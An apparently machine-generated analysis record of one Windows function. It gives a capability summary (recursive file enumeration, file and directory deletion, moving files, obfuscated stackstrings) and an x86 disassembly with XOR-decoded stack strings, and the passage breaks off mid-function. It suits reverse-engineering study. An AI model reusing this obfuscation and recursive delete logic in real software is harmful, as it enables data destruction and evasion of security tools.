Function at 0x485020
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7a0
mov eax, dword [0x5c0290]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
lea ecx, [ebp - 0x258]
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
push edi
push ecx
push eax
sub esp, 0xc
mov dword [ebp - 0x718], eax
mov ecx, esp
mov dword [ebp - 0x6b4], 0x78305447
lea eax, [ebp - 0x676]
mov dword [ebp - 0x6b0], 0x596b4148
xor edi, edi
mov dword [ebp - 0x6ac], 0x6a557863
push dword [ebp - 0x4b4]
mov dword [ebp - 0x6a8], 0x55595861
push eax
lea eax, [ebp - 0x6b4]
mov dword [ebp - 0x6a4], 0x486b3341
mov dword [ebp - 0x6a0], 0x2f55514b
mov dword [ebp - 0x69c], 0x6d595147
mov dword [ebp - 0x698], 0x61736a42
mov dword [ebp - 0x694], 0x716b7748
mov dword [ebp - 0x690], 0x5738774e
mov dword [ebp - 0x68c], 0x68317a48
mov dword [ebp - 0x688], 0x75517750
mov dword [ebp - 0x684], 0x375a6a63
mov dword [ebp - 0x680], 0x684d6a4f
mov dword [ebp - 0x67c], 0x41414141
mov word [ebp - 0x678], 0x514b
push eax
push edi
mov dword [ebp - 0x6b8], esi
mov dword [ebp - 0x648], ebx
mov dword [ebp - 0x668], edi
mov dword [ecx], ebx
mov dword [ecx + 4], ebx
mov dword [ecx + 8], ebx
call fcn.004660a0
lea eax, [ebp - 0x794]
push eax
call fcn.00480790
add esp, 0x10
mov ecx, dword [eax]
mov eax, dword [eax + 4]
sub eax, ecx
sar eax, 1
je 0x489221
push ecx
lea eax, [ebp - 0x728]
push esi
push eax
call fcn.004b8610
add esp, 0xc
push eax
lea eax, [ebp - 0x720]
push eax
call fcn.004b8610
add esp, 0xc
push dword [eax]
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, dword [ebp - 0x720]
or ecx, 0xffffffff
add esi, 0xfffffff0
mov dword [ebp - 0x6ec], eax
lea edx, [esi + 0xc]
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x485193
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x728]
or ecx, 0xffffffff
add edx, 0xfffffff0
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x4851b3
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x794]
test eax, eax
je 0x4851d8
push eax
call fcn.0053c1e0
add esp, 4
mov dword [ebp - 0x794], ebx
mov dword [ebp - 0x790], ebx
mov dword [ebp - 0x78c], ebx
cmp dword [ebp - 0x6ec], 0xffffffff
je 0x488dae
jmp 0x4851f0
test byte [ebp - 0x258], 0x10
je 0x48767c
lea eax, [ebp - 0x22c]
mov dword [ebp - 0x64c], 0
push eax
lea ecx, [ebp - 0x64c]
call fcn.004672d0
mov dword [ebp - 0x494], 0x34387761
mov dword [ebp - 0x490], 0x356b7949
mov dword [ebp - 0x48c], 0x5a733247
mov dword [ebp - 0x488], 0x55386e59
mov dword [ebp - 0x484], 0x4477774b
mov dword [ebp - 0x480], 0x794e7850
mov dword [ebp - 0x47c], 0x30633347
mov dword [ebp - 0x478], 0x3738544c
mov dword [ebp - 0x474], 0x646f5241
mov dword [ebp - 0x470], 0x33686e44
mov dword [ebp - 0x46c], 0x64775445
mov dword [ebp - 0x468], 0x786c5142
mov dword [ebp - 0x464], 0x3878414f
mov dword [ebp - 0x460], 0x55554246
mov dword [ebp - 0x45c], 0x36314849
mov dword [ebp - 0x458], 0x385a6d45
mov dword [ebp - 0x454], 0x48594845
mov dword [ebp - 0x450], 0x684a674f
mov dword [ebp - 0x44c], 0x36303265
mov dword [ebp - 0x448], 0x3074514b
mov dword [ebp - 0x444], 0x31386a63
mov dword [ebp - 0x440], 0x6a347841
mov dword [ebp - 0x43c], 0x4c637841
mov dword [ebp - 0x438], 0x6f45514f
mov dword [ebp - 0x434], 0x34396848
mov dword [ebp - 0x430], 0x7838544c
mov dword [ebp - 0x42c], 0x2b6b5165
mov dword [ebp - 0x428], 0x59514450
mov dword [ebp - 0x424], 0x5a516e41
mov dword [ebp - 0x420], 0x566f7849
mov dword [ebp - 0x41c], 0x69645348
mov dword [ebp - 0x418], 0x3255484a
mov dword [ebp - 0x414], 0x54455365
mov dword [ebp - 0x410], 0x51634149
mov dword [ebp - 0x40c], 0x396c5265
mov dword [ebp - 0x408], 0x30524350
mov dword [ebp - 0x404], 0x4c30534e
mov dword [ebp - 0x400], 0x374e694e
mov dword [ebp - 0x3fc], 0x7777784a
mov dword [ebp - 0x3f8], 0x626f7765
mov dword [ebp - 0x3f4], 0x31775346
mov dword [ebp - 0x3f0], 0x37776a47
mov dword [ebp - 0x3ec], 0x4363674a
mov dword [ebp - 0x3e8], 0x44555341
mov dword [ebp - 0x3e4], 0x395a4343
mov dword [ebp - 0x3e0], 0x33745441
mov dword [ebp - 0x3dc], 0x384d794c
mov dword [ebp - 0x3d8], 0x59634150
mov dword [ebp - 0x3d4], 0x6a67444f
mov dword [ebp - 0x3d0], 0x4238484f
mov dword [ebp - 0x3cc], 0x78597841
mov dword [ebp - 0x3c8], 0x346c3343
mov dword [ebp - 0x3c4], 0x5473444a
mov dword [ebp - 0x3c0], 0x4c6b7942
mov dword [ebp - 0x3bc], 0x37554442
mov dword [ebp - 0x3b8], 0x43595749
mov dword [ebp - 0x3b4], 0x68306e49
mov dword [ebp - 0x3b0], 0x694a6a42
mov dword [ebp - 0x3ac], 0x46385343
mov dword [ebp - 0x3a8], 0x58515144
mov dword [ebp - 0x3a4], 0x54636949
mov dword [ebp - 0x3a0], 0x4a497746
mov dword [ebp - 0x39c], 0x4c456841
mov dword [ebp - 0x398], 0x4a515441
mov dword [ebp - 0x394], 0x6f456948
mov dword [ebp - 0x390], 0x57514141
mov dword [ebp - 0x38c], 0x6d633346
mov dword [ebp - 0x388], 0x4a45784d
mov dword [ebp - 0x384], 0x6e395748
mov dword [ebp - 0x380], 0x7255674c
mov dword [ebp - 0x37c], 0x63494441
mov dword [ebp - 0x378], 0x6a306a4b
mov dword [ebp - 0x374], 0x4c34524f
mov dword [ebp - 0x370], 0x6e776850
mov dword [ebp - 0x36c], 0x786c7859
mov dword [ebp - 0x368], 0x47594150
sub esp, 0xc
mov dword [ebp - 0x364], 0x3578784d
mov ecx, esp
mov dword [ebp - 0x360], 0x4d41434d
lea eax, [ebp - 0x2f4]
mov dword [ebp - 0x35c], 0x2f774345
mov dword [ebp - 0x358], 0x41417762
or ebx, 1
push dword [ebp - 0x4b4]
mov dword [ebp - 0x354], 0x4d636844
push eax
lea eax, [ebp - 0x494]
mov dword [ebp - 0x350], 0x49554848
mov dword [ebp - 0x34c], 0x2b6f7842
mov dword [ebp - 0x348], 0x7a4e794e
mov dword [ebp - 0x344], 0x68414150
mov dword [ebp - 0x340], 0x7345784b
mov dword [ebp - 0x33c], 0x65774465
mov dword [ebp - 0x338], 0x4f636a42
mov dword [ebp - 0x334], 0x6d41784a
mov dword [ebp - 0x330], 0x71674846
mov dword [ebp - 0x32c], 0x6b6f6747
mov dword [ebp - 0x328], 0x7a744845
mov dword [ebp - 0x324], 0x72343342
mov dword [ebp - 0x320], 0x2f345842
mov dword [ebp - 0x31c], 0x49775345
mov dword [ebp - 0x318], 0x32785143
mov dword [ebp - 0x314], 0x34734345
mov dword [ebp - 0x310], 0x6a526842
mov dword [ebp - 0x30c], 0x346f7a42
mov dword [ebp - 0x308], 0x6a6f7744
mov dword [ebp - 0x304], 0x41635248
mov dword [ebp - 0x300], 0x30707959
mov dword [ebp - 0x2fc], 0x416f7a45
mov dword [ebp - 0x2f8], 0x7a454141
push eax
push 0
mov dword [ebp - 0x648], ebx
mov dword [ecx], 0
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
call fcn.004660a0
lea eax, [ebp - 0x764]
push eax
call fcn.00480790
add esp, 0x10
mov ecx, dword [eax]
mov eax, dword [eax + 4]
sub eax, ecx
sar eax, 1
je 0x489221
xor eax, eax
test ecx, ecx
setne al
test eax, eax
je 0x48922b
mov esi, dword [ebp - 0x64c]
mov eax, esi
jmp 0x4856a0
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x4856c6
test dx, dx
je 0x4856c2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x4856c6
add eax, 4
add ecx, 4
test dx, dx
jne 0x4856a0
xor eax, eax
jmp 0x4856cb
sbb eax, eax
or eax, 1
test eax, eax
je 0x485b33
mov dword [ebp - 0x630], 0x4d733361
mov dword [ebp - 0x62c], 0x71413242
mov dword [ebp - 0x628], 0x7041534a
mov dword [ebp - 0x624], 0x51515445
mov dword [ebp - 0x620], 0x596b6e4a
mov dword [ebp - 0x61c], 0x416f4161
mov dword [ebp - 0x618], 0x70416742
mov dword [ebp - 0x614], 0x47555259
mov dword [ebp - 0x610], 0x43597742
mov dword [ebp - 0x60c], 0x4877544c
mov dword [ebp - 0x608], 0x6e595343
mov dword [ebp - 0x604], 0x74636a4a
mov dword [ebp - 0x600], 0x384a7949
mov dword [ebp - 0x5fc], 0x4149684f
mov dword [ebp - 0x5f8], 0x646f6947
mov dword [ebp - 0x5f4], 0x51494850
mov dword [ebp - 0x5f0], 0x6745784e
mov dword [ebp - 0x5ec], 0x61636944
mov dword [ebp - 0x5e8], 0x3367544a
mov dword [ebp - 0x5e4], 0x3134484a
mov dword [ebp - 0x5e0], 0x78676e45
mov dword [ebp - 0x5dc], 0x7370444d
mov dword [ebp - 0x5d8], 0x67496749
mov dword [ebp - 0x5d4], 0x55494841
mov dword [ebp - 0x5d0], 0x4b415345
mov dword [ebp - 0x5cc], 0x336c4145
mov dword [ebp - 0x5c8], 0x41307a4b
mov dword [ebp - 0x5c4], 0x356b7848
mov dword [ebp - 0x5c0], 0x6567535a
mov dword [ebp - 0x5bc], 0x6d49674b
mov dword [ebp - 0x5b8], 0x6a4e5264
mov dword [ebp - 0x5b4], 0x67676748
mov dword [ebp - 0x5b0], 0x66675449
mov dword [ebp - 0x5ac], 0x5734484f
mov dword [ebp - 0x5a8], 0x6c773347
mov dword [ebp - 0x5a4], 0x4d345243
mov dword [ebp - 0x5a0], 0x2f556841
mov dword [ebp - 0x59c], 0x3742424c
mov dword [ebp - 0x598], 0x68395363
mov dword [ebp - 0x594], 0x64556743
mov dword [ebp - 0x590], 0x68417864
mov dword [ebp - 0x58c], 0x35497741
mov dword [ebp - 0x588], 0x63556d41
mov dword [ebp - 0x584], 0x54554150
mov dword [ebp - 0x580], 0x48306949
mov dword [ebp - 0x57c], 0x55457944
mov dword [ebp - 0x578], 0x716b4162
mov dword [ebp - 0x574], 0x6a685461
mov dword [ebp - 0x570], 0x6c455250
mov dword [ebp - 0x56c], 0x67385242
mov dword [ebp - 0x568], 0x4e4d414b
mov dword [ebp - 0x564], 0x7978484d
mov dword [ebp - 0x560], 0x59415466
mov dword [ebp - 0x55c], 0x6f635442
mov dword [ebp - 0x558], 0x65495349
mov dword [ebp - 0x554], 0x6b77334b
mov dword [ebp - 0x550], 0x4545674c
mov dword [ebp - 0x54c], 0x4238784b
mov dword [ebp - 0x548], 0x54305263
mov dword [ebp - 0x544], 0x49676a4e
mov dword [ebp - 0x540], 0x62516a42
mov dword [ebp - 0x53c], 0x354a424e
mov dword [ebp - 0x538], 0x684e4349
mov dword [ebp - 0x534], 0x6634444a
mov dword [ebp - 0x530], 0x6f6f4466
mov dword [ebp - 0x52c], 0x72494350
mov dword [ebp - 0x528], 0x4f594249
mov dword [ebp - 0x524], 0x2b4d6d43
mov dword [ebp - 0x520], 0x44455342
mov dword [ebp - 0x51c], 0x32785143
mov dword [ebp - 0x518], 0x69787846
mov dword [ebp - 0x514], 0x6a556742
mov dword [ebp - 0x510], 0x2f677a43
mov dword [ebp - 0x50c], 0x4c677946
mov dword [ebp - 0x508], 0x5a6f7741
mov dword [ebp - 0x504], 0x7441534d
mov dword [ebp - 0x500], 0x2b774865
mov dword [ebp - 0x4fc], 0x6a467a50
mov dword [ebp - 0x4f8], 0x45677942
mov dword [ebp - 0x4f4], 0x6c6b4442
mov dword [ebp - 0x4f0], 0x2f557743
sub esp, 0xc
mov dword [ebp - 0x4ec], 0x7030424a
mov ecx, esp
mov dword [ebp - 0x4e8], 0x4f4d4347
lea eax, [ebp - 0x4b5]
mov dword [ebp - 0x4e4], 0x31636e4e
mov dword [ebp - 0x4e0], 0x61555443
or ebx, 2
push dword [ebp - 0x4b4]
mov dword [ebp - 0x4dc], 0x76514148
push eax
lea eax, [ebp - 0x630]
mov dword [ebp - 0x4d8], 0x7130584c
mov dword [ebp - 0x4d4], 0x31384362
mov dword [ebp - 0x4d0], 0x7a38534a
mov dword [ebp - 0x4cc], 0x4b674243
mov dword [ebp - 0x4c8], 0x3745774c
mov dword [ebp - 0x4c4], 0x676f4259
mov dword [ebp - 0x4c0], 0x3959514b
mov dword [ebp - 0x4bc], 0x4141775a
mov word [ebp - 0x4b8], 0x5241
mov byte [ebp - 0x4b6], 0x59
push eax
push 0
mov dword [ebp - 0x648], ebx
mov dword [ecx], 0
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
call fcn.004660a0
lea eax, [ebp - 0x77c]
push eax
call fcn.00480790
add esp, 0x10
mov ecx, dword [eax]
mov eax, dword [eax + 4]
sub eax, ecx
sar eax, 1
je 0x489221
xor eax, eax
test ecx, ecx
setne al
test eax, eax
je 0x48922b
mov eax, esi
jmp 0x485b00
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x485b26
test dx, dx
je 0x485b22
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x485b26
add eax, 4
add ecx, 4
test dx, dx
jne 0x485b00
xor eax, eax
jmp 0x485b2b
sbb eax, eax
or eax, 1
test eax, eax
je 0x485b33
mov bl, 1
jmp 0x485b35
xor bl, bl
mov ecx, dword [ebp - 0x648]
test cl, 2
je 0x485b80
mov eax, dword [ebp - 0x77c]
and ecx, 0xfffffffd
mov dword [ebp - 0x648], ecx
test eax, eax
je 0x485b80
push eax
call fcn.0053c1e0
mov ecx, dword [ebp - 0x648]
add esp, 4
mov dword [ebp - 0x77c], 0
mov dword [ebp - 0x778], 0
mov dword [ebp - 0x774], 0
test cl, 1
je 0x485bbf
mov eax, dword [ebp - 0x764]
and ecx, 0xfffffffe
mov dword [ebp - 0x648], ecx
test eax, eax
je 0x485bbf
push eax
call fcn.0053c1e0
add esp, 4
mov dword [ebp - 0x764], 0
mov dword [ebp - 0x760], 0
mov dword [ebp - 0x75c], 0
test bl, bl
je 0x487659
mov dword [ebp - 8], 0
call fcn.00468bd0
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
je 0x48922b
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
mov ecx, dword [ebp - 0x6b8]
add eax, 0x10
mov dword [ebp - 8], eax
mov edx, 1
mov edi, dword [ecx]
mov ecx, dword [eax - 8]
sub edx, dword [eax - 4]
sub ecx, 0x104
or ecx, edx
jge 0x485c1c
push 0x104
lea ecx, [ebp - 8]
call fcn.00468e20
mov eax, dword [ebp - 8]
lea ecx, [ebp - 0x22c]
push ecx
push edi
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
mov eax, dword [ebp - 8]
push dword [eax - 8]
push eax
call fcn.0053eeff
mov ecx, eax
add esp, 8
test ecx, ecx
js 0x48923f
mov eax, dword [ebp - 8]
cmp ecx, dword [eax - 8]
jg 0x48923f
mov ebx, dword [ebp + 0x10]
xor edx, edx
mov dword [eax - 0xc], ecx
mov eax, dword [ebp - 8]
push ebx
push dword [ebp - 0x718]
mov word [eax + ecx*2], dx
lea eax, [ebp - 8]
push eax
call fcn.00485020
add esp, 0xc
test eax, eax
je 0x486caa
mov dword [ebp - 0x668], 1
mov dword [ebp - 0x47c], 0x33417a46
mov dword [ebp - 0x478], 0x79386a4a
mov dword [ebp - 0x474], 0x70557949
mov dword [ebp - 0x470], 0x6a494363
mov dword [ebp - 0x46c], 0x396f6949
mov dword [ebp - 0x468], 0x6a734749
mov dword [ebp - 0x464], 0x67774349
mov dword [ebp - 0x460], 0x324a4450
mov dword [ebp - 0x45c], 0x2f597a4f
mov dword [ebp - 0x458], 0x7455794a
mov dword [ebp - 0x454], 0x45556e4d
mov dword [ebp - 0x450], 0x706b6a4d
mov dword [ebp - 0x44c], 0x38494763
mov dword [ebp - 0x448], 0x2b4a7a44
mov dword [ebp - 0x444], 0x6777794e
mov dword [ebp - 0x440], 0x7a597949
mov dword [ebp - 0x43c], 0x37396a4d
mov dword [ebp - 0x438], 0x55516d4c
mov dword [ebp - 0x434], 0x2f734745
mov dword [ebp - 0x430], 0x536f6947
mov dword [ebp - 0x42c], 0x6d314763
mov dword [ebp - 0x428], 0x7939534f
mov dword [ebp - 0x424], 0x6c343348
mov dword [ebp - 0x420], 0x4c634850
mov dword [ebp - 0x41c], 0x7741774b
mov dword [ebp - 0x418], 0x6a49674c
mov dword [ebp - 0x414], 0x35707941
mov dword [ebp - 0x410], 0x65415761
mov dword [ebp - 0x40c], 0x51416d44
mov dword [ebp - 0x408], 0x47345146
mov dword [ebp - 0x404], 0x4f6f5144
mov dword [ebp - 0x400], 0x736c535a
mov dword [ebp - 0x3fc], 0x36416766
mov dword [ebp - 0x3f8], 0x4a515450
mov dword [ebp - 0x3f4], 0x356c4848
mov dword [ebp - 0x3f0], 0x784d7a64
mov dword [ebp - 0x3ec], 0x7130484a
mov dword [ebp - 0x3e8], 0x53514445
mov dword [ebp - 0x3e4], 0x66454463
mov dword [ebp - 0x3e0], 0x3445694b
mov dword [ebp - 0x3dc], 0x4645784b
mov dword [ebp - 0x3d8], 0x55496749
mov dword [ebp - 0x3d4], 0x61494247
mov dword [ebp - 0x3d0], 0x4b636a4e
mov dword [ebp - 0x3cc], 0x786c334b
mov dword [ebp - 0x3c8], 0x436f4342
mov dword [ebp - 0x3c4], 0x6f6f5342
mov dword [ebp - 0x3c0], 0x4838544e
mov dword [ebp - 0x3bc], 0x58414463
mov dword [ebp - 0x3b8], 0x55494144
mov dword [ebp - 0x3b4], 0x79555141
mov dword [ebp - 0x3b0], 0x73674859
mov dword [ebp - 0x3ac], 0x366c6a42
mov dword [ebp - 0x3a8], 0x38736941
mov dword [ebp - 0x3a4], 0x73593366
mov dword [ebp - 0x3a0], 0x7841794e
mov dword [ebp - 0x39c], 0x6b49334b
mov dword [ebp - 0x398], 0x5a777a62
mov dword [ebp - 0x394], 0x48306844
mov dword [ebp - 0x390], 0x77746a4f
mov dword [ebp - 0x38c], 0x6a396864
mov dword [ebp - 0x388], 0x47384342
mov dword [ebp - 0x384], 0x2b736a41
mov dword [ebp - 0x380], 0x4241584b
mov dword [ebp - 0x37c], 0x72777946
mov dword [ebp - 0x378], 0x6434484c
mov dword [ebp - 0x374], 0x2b514341
mov dword [ebp - 0x370], 0x69417a61
mov dword [ebp - 0x36c], 0x69775765
mov dword [ebp - 0x368], 0x6c515248
mov dword [ebp - 0x364], 0x2b496743
mov dword [ebp - 0x360], 0x4751674d
mov dword [ebp - 0x35c], 0x30634241
mov dword [ebp - 0x358], 0x69456749
mov dword [ebp - 0x354], 0x394e6742
mov dword [ebp - 0x350], 0x736f4148
mov dword [ebp - 0x34c], 0x64306743
mov dword [ebp - 0x348], 0x6b784350
mov dword [ebp - 0x344], 0x71304241
mov dword [ebp - 0x340], 0x4a6f5245
mov dword [ebp - 0x33c], 0x6a687863
mov dword [ebp - 0x338], 0x4a386e49
mov dword [ebp - 0x334], 0x706b4142
mov dword [ebp - 0x330], 0x76496a46
mov dword [ebp - 0x32c], 0x73515366
mov dword [ebp - 0x328], 0x4777674a
mov dword [ebp - 0x324], 0x59306845
mov dword [ebp - 0x320], 0x58635746
mov dword [ebp - 0x31c], 0x2b305349
mov dword [ebp - 0x318], 0x45495163
mov dword [ebp - 0x314], 0x78497750
mov dword [ebp - 0x310], 0x75345342
mov dword [ebp - 0x30c], 0x4b496944
mov dword [ebp - 0x308], 0x2f63584b
mov dword [ebp - 0x304], 0x594d6966
mov dword [ebp - 0x300], 0x38777946
mov dword [ebp - 0x2fc], 0x4149534c
mov dword [ebp - 0x2f8], 0x39444141
mov dword [ebp - 0x5cc], 0x34415441
mov dword [ebp - 0x5c8], 0x6b6b6a4e
mov dword [ebp - 0x5c4], 0x2b6f6a44
mov dword [ebp - 0x5c0], 0x7955534e
mov dword [ebp - 0x5bc], 0x77305449
mov dword [ebp - 0x5b8], 0x69515343
mov dword [ebp - 0x5b4], 0x6a6b7962
mov dword [ebp - 0x5b0], 0x69346750
mov dword [ebp - 0x5ac], 0x4e385449
mov dword [ebp - 0x5a8], 0x464d7763
mov dword [ebp - 0x5a4], 0x51346a47
mov dword [ebp - 0x5a0], 0x51677948
mov dword [ebp - 0x59c], 0x38495249
mov dword [ebp - 0x598], 0x434d6a50
mov dword [ebp - 0x594], 0x6f635450
mov dword [ebp - 0x590], 0x67515350
mov dword [ebp - 0x58c], 0x6d45674e
mov dword [ebp - 0x588], 0x3739774d
mov dword [ebp - 0x584], 0x7a554466
mov dword [ebp - 0x580], 0x3263684c
mov dword [ebp - 0x57c], 0x45417a49
mov dword [ebp - 0x578], 0x326c684e
mov dword [ebp - 0x574], 0x4f55674f
mov dword [ebp - 0x570], 0x4851434e
mov dword [ebp - 0x56c], 0x4d55434c
mov dword [ebp - 0x568], 0x67306946
mov dword [ebp - 0x564], 0x38357745
mov dword [ebp - 0x560], 0x67516a46
mov dword [ebp - 0x55c], 0x4b30794b
mov dword [ebp - 0x558], 0x33516865
mov dword [ebp - 0x554], 0x6b6c424d
mov dword [ebp - 0x550], 0x30397a4f
mov dword [ebp - 0x54c], 0x70634447
mov dword [ebp - 0x548], 0x46497941
mov dword [ebp - 0x544], 0x61346a41
mov dword [ebp - 0x540], 0x4355774e
mov dword [ebp - 0x53c], 0x496f6744
mov dword [ebp - 0x538], 0x754d5259
mov dword [ebp - 0x534], 0x496f7a4a
mov dword [ebp - 0x530], 0x5463524e
mov dword [ebp - 0x52c], 0x3655434e
mov dword [ebp - 0x528], 0x3449694d
mov dword [ebp - 0x524], 0x754d5742
mov dword [ebp - 0x520], 0x2f527947
mov dword [ebp - 0x51c], 0x634d5366
mov dword [ebp - 0x518], 0x67675446
mov dword [ebp - 0x514], 0x6a674143
mov dword [ebp - 0x510], 0x50595348
mov dword [ebp - 0x50c], 0x396f5248
mov dword [ebp - 0x508], 0x45774346
mov dword [ebp - 0x504], 0x436f6842
mov dword [ebp - 0x500], 0x4638684d
mov dword [ebp - 0x4fc], 0x72415444
mov dword [ebp - 0x4f8], 0x7763685a
mov dword [ebp - 0x4f4], 0x6673424e
mov dword [ebp - 0x4f0], 0x69387946
mov dword [ebp - 0x4ec], 0x326b4349
mov dword [ebp - 0x4e8], 0x6d49444d
mov dword [ebp - 0x4e4], 0x59304147
mov dword [ebp - 0x4e0], 0x4f457744
mov dword [ebp - 0x4dc], 0x52777964
mov dword [ebp - 0x4d8], 0x5955694e
mov dword [ebp - 0x4d4], 0x54497a48
sub esp, 0xc
mov dword [ebp - 0x4d0], 0x75677947
mov ecx, esp
mov dword [ebp - 0x4cc], 0x49634249
lea eax, [ebp - 0x2f4]
mov dword [ebp - 0x4c8], 0x32415341
mov dword [ebp - 0x4c4], 0x64305447
push dword [ebp - 0x4b4]
mov dword [ebp - 0x4c0], 0x6e425450
push eax
lea eax, [ebp - 0x47c]
mov dword [ebp - 0x4bc], 0x41414141
mov word [ebp - 0x4b8], 0x6774
push eax
push 0
mov dword [ecx], 0
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
call fcn.004660a0
lea eax, [ebp - 0x740]
push eax
call fcn.0047fb90
add esp, 0x10
mov edi, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x63c], edi
sub eax, edi
je 0x489221
sub esp, 0xc
lea eax, [ebp - 0x4b6]
mov ecx, esp
push dword [ebp - 0x4b4]
mov dword [ecx], 0
push eax
lea eax, [ebp - 0x5cc]
mov dword [ecx + 4], 0
push eax
push 0
mov dword [ecx + 8], 0
call fcn.004660a0
lea eax, [ebp - 0x734]
push eax
call fcn.0047fb90
add esp, 0x10
mov ecx, dword [eax + 4]
sub ecx, dword [eax]
je 0x489221
xor eax, eax
xor ebx, ebx
mov dword [ebp - 0x658], eax
xor ecx, ecx
mov dword [ebp - 0x654], eax
xor edx, edx
mov dword [ebp - 0x650], eax
mov dword [ebp - 0x634], eax
lea eax, [edi + 1]
mov dword [ebp - 0x658], ebx
mov dword [ebp - 0x654], ecx
mov dword [ebp - 0x650], edx
mov dword [ebp - 0x644], eax
mov al, byte [edi]
inc edi
test al, al
jne 0x4863f2
sub edi, dword [ebp - 0x644]
je 0x486594
jmp 0x486410
mov edi, dword [ebp - 0x634]
lea esi, [ebp - 0x636]
mov eax, dword [ebp - 0x63c]
mov al, byte [edi + eax]
xor al, 0x8b
cmp esi, ecx
mov esi, dword [ebp - 0x64c]
mov byte [ebp - 0x259], al
mov byte [ebp - 0x636], al
jae 0x4864ca
lea esi, [ebp - 0x636]
cmp ebx, esi
mov esi, dword [ebp - 0x64c]
ja 0x4864ca
lea eax, [ebp - 0x636]
sub eax, ebx
mov dword [ebp - 0x644], eax
cmp ecx, edx
jne 0x4864c1
mov eax, edx
sub eax, ecx
cmp eax, 1
jae 0x4864bb
mov eax, ebx
sub eax, ecx
dec eax
cmp eax, 1
jb 0x489235
sub edx, ebx
or eax, 0xffffffff
mov edi, edx
sub ecx, ebx
shr edi, 1
inc ecx
sub eax, edi
cmp eax, edx
jae 0x486490
xor edx, edx
jmp 0x486492
add edx, edi
cmp edx, ecx
cmovb edx, ecx
lea ecx, [ebp - 0x658]
push edx
call fcn.0046ae20
mov edx, dword [ebp - 0x650]
mov ecx, dword [ebp - 0x654]
mov ebx, dword [ebp - 0x658]
mov edi, dword [ebp - 0x634]
mov eax, dword [ebp - 0x644]
test ecx, ecx
je 0x486532
mov al, byte [ebx + eax]
jmp 0x486530
cmp ecx, edx
jne 0x48652c
mov eax, edx
sub eax, ecx
cmp eax, 1
jae 0x486526
mov eax, ebx
sub eax, ecx
dec eax
cmp eax, 1
jb 0x489235
sub edx, ebx
or eax, 0xffffffff
mov edi, edx
sub ecx, ebx
shr edi, 1
inc ecx
sub eax, edi
cmp eax, edx
jae 0x4864fb
xor edx, edx
jmp 0x4864fd
add edx, edi
cmp edx, ecx
cmovb edx, ecx
lea ecx, [ebp - 0x658]
push edx
call fcn.0046ae20
mov edx, dword [ebp - 0x650]
mov ecx, dword [ebp - 0x654]
mov ebx, dword [ebp - 0x658]
mov edi, dword [ebp - 0x634]
mov al, byte [ebp - 0x259]
test ecx, ecx
je 0x486532
mov byte [ecx], al
inc ecx
inc edi
mov dword [ebp - 0x634], edi
mov edi, dword [ebp - 0x63c]
mov dword [ebp - 0x654], ecx
lea eax, [edi + 1]
mov dword [ebp - 0x644], eax
nop
mov al, byte [edi]
inc edi
test al, al
jne 0x486550
sub edi, dword [ebp - 0x644]
cmp dword [ebp - 0x634], edi
jb 0x486410
test ebx, ebx
je 0x486594
push ebx
call fcn.0053c1e0
add esp, 4
mov dword [ebp - 0x658], 0
mov dword [ebp - 0x654], 0
mov dword [ebp - 0x650], 0
mov eax, dword [ebp - 0x734]
test eax, eax
je 0x4865c5
push eax
call fcn.0053c1e0
add esp, 4
mov dword [ebp - 0x734], 0
mov dword [ebp - 0x730], 0
mov dword [ebp - 0x72c], 0
mov eax, dword [ebp - 0x740]
test eax, eax
je 0x4865f6
push eax
call fcn.0053c1e0
add esp, 4
mov dword [ebp - 0x740], 0
mov dword [ebp - 0x73c], 0
mov dword [ebp - 0x738], 0
mov dword [ebp - 0x49c], 0x34415441
mov dword [ebp - 0x498], 0x6b6b6a4e
mov dword [ebp - 0x494], 0x2b6f6a44
mov dword [ebp - 0x490], 0x7955534e
mov dword [ebp - 0x48c], 0x77305449
mov dword [ebp - 0x488], 0x69515343
mov dword [ebp - 0x484], 0x6a6b7962
mov dword [ebp - 0x480], 0x6d646a50
mov dword [ebp - 0x47c], 0x67397746
mov dword [ebp - 0x478], 0x73636a46
mov dword [ebp - 0x474], 0x3359324d
mov dword [ebp - 0x470], 0x34347959
mov dword [ebp - 0x46c], 0x74497a50
mov dword [ebp - 0x468], 0x65775261
mov dword [ebp - 0x464], 0x78354146
mov dword [ebp - 0x460], 0x6a494145
mov dword [ebp - 0x45c], 0x4341434a
mov dword [ebp - 0x458], 0x66385745
mov dword [ebp - 0x454], 0x6e30424f
mov dword [ebp - 0x450], 0x316f3362
mov dword [ebp - 0x44c], 0x59636a41
mov dword [ebp - 0x448], 0x53496948
mov dword [ebp - 0x444], 0x384a6d49
mov dword [ebp - 0x440], 0x52344249
mov dword [ebp - 0x43c], 0x726b7848
mov dword [ebp - 0x438], 0x666b6846
mov dword [ebp - 0x434], 0x574d4247
mov dword [ebp - 0x430], 0x794d5350
mov dword [ebp - 0x42c], 0x6f347a4a
mov dword [ebp - 0x428], 0x6e554241
mov dword [ebp - 0x424], 0x67414766
mov dword [ebp - 0x420], 0x77703348
mov dword [ebp - 0x41c], 0x2f495144
mov dword [ebp - 0x418], 0x4c735748
mov dword [ebp - 0x414], 0x364a6964
mov dword [ebp - 0x410], 0x7230684d
mov dword [ebp - 0x40c], 0x31736749
mov dword [ebp - 0x408], 0x5149424f
mov dword [ebp - 0x404], 0x6b564263
mov dword [ebp - 0x400], 0x67556865
